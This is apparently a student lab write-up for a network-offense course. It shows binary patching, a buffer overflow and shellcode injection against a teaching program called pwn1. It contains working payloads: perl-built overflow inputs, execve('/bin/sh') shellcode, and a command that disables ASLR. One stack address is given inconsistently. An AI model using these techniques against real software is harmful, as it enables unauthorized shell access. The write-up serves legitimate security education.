20175105王鑫浩 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解
20175105王鑫浩 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解
任务一 手动修改机器指令,改变程序执行流程
- 通过共享文件夹将
pwn1
导入Kali虚拟机(导入三份,分别用于三个任务)- 打开kali虚拟机终端,通过
mkdir -p
命令新建多级目录,通过cp
命令将共享文件夹的pwn1
复制到新建目录里
- 通过
objdump -d pwn1 | more
命令对pwn1反汇编- 汇编指令出来后,回车查看更多,翻到
getshell
、foo
与main
函数查看其地址,main
函数call的地址是8048491
即foo
函数的首地址,getshell
的首地址是804847d
。call
的机器指令为e8 7dffffff
,e8
为call
的机器指令,7dffffff
即0xffffff7d
是关于eip寄存器地址的偏移地址
即等于eip寄存器指令存放下条指令地址0x80484ba-目的地址0x8048491
- 现任务是将
call
的地址改为getshell
的首地址804847d
,所以应该将机器指令e8 7dffffff
的地址部分换成0x80484ba-0x804847d=0xffffffc3
即c3ffffff
,通过vi pwn1
命令对pwn1
文件进行编辑,可以看到文件内容是16进制,可以通过:%!xxd
将文件内容转换成可以读懂的ASCII码
- 转换成ASCII码之后,通过输入
/e8 7d
可以查找main函数call指令的机器代码
- 将光标定位在7上按r输入
c
,光标定位在d上按r输入3
,然后输入%!xxd -r
将ASCII代码转换为16进制- 输入
:wq
保存退出- 此时再反汇编查看
main
函数中call
的函数已经变为getshell
- 运行pwn1,主函数会调用getshell函数
任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
- 对备份的
pwn1
进行反汇编- 可以看到,·main·函数为
foo
函数输入的预留空间为0x1c
,即28字节,加上ebp寄存器
的4字节,所以eip寄存器
的值应为33-36字节的值
- 使用
gdb pwn2
命令调试程序,输入r
运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault
。其中的33-36个字符‘1234’会覆盖eip寄存器的值,用info r
查看寄存器的值,eip寄存器
为0x34333231
,若将eip寄存器
的值构造为0804847d
就可以在foo
函数执行完回到main
函数时进入到getshell
函数
- 无法从键盘输入16进制的值,所以用
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写,\0a是换行。- 通过
(cat input; cat ) | ./pwn2
pwn2并将input里边的内容输入到pwn2运行的程序中,就可以跳到getshell函数中
任务三 注入shellcode并执行
- 下载execstack
- 运行下列指令
```execstack -s pwn3``` 设置堆栈可执行
```execstack -q pwn3``` 查询文件的堆栈是否可执行,结果为X表示可执行
```more /proc/sys/kernel/randomize_va_space``` 查看随机化是否关闭
```echo "0" > /proc/sys/kernel/randomize_va_space``` 关闭随机化
```more /proc/sys/kernel/randomize_va_space``` 再次查看,结果为0证明已关闭
- 通过
perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
构造老师给的shellcode
,并将shellcode
保存到input_shellcode
- 输入
(cat input_shellcode;cat) | ./pwn3
运行pwn3
- 再打开一个终端,在第二个终端中输入
ps -ef | grep pwn3
查看pwn3的进程号为3096- 接下来通过
gdb
命令开始调试,输入attach 3096
连接到pwn3进程,连接后输入disassemble foo
对foo
函数进行反汇编查看foo
函数return
指令的地址为0x080484ae
,然后输入break *0x080484ae
在此处设置断点
- 在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入
info r esp
查看esp寄存器的值为0xffffd21c 输入x/16x 0xffffd21c
以16进制形式查看0xffffd33c地址后面16字节的内容是在最开始构造的input_shellcode
里的内容,所以将shellcode
注入地址为0xffffd33c+0x00000004=0xffffd340- 通过
perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
重新构造改完注入地址的input_shellcode,并输入(cat input_shellcode;cat) | ./pwn3
运行pwn3,可以跳到构造的shellcode
程序中
问题回答及实验心得
1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是"90"
JNE汇编指令的机器码是"75"
JE 汇编指令的机器码是"74"
JMP汇编指令的机器码是"eb"
CMP汇编指令的机器码是"39"
2. “什么是漏洞,漏洞的危害?”
答:我认为漏洞是在系统中无法避免的缺陷。漏洞的存在可能会对系统的保密性、可用性等安全属性造成危害。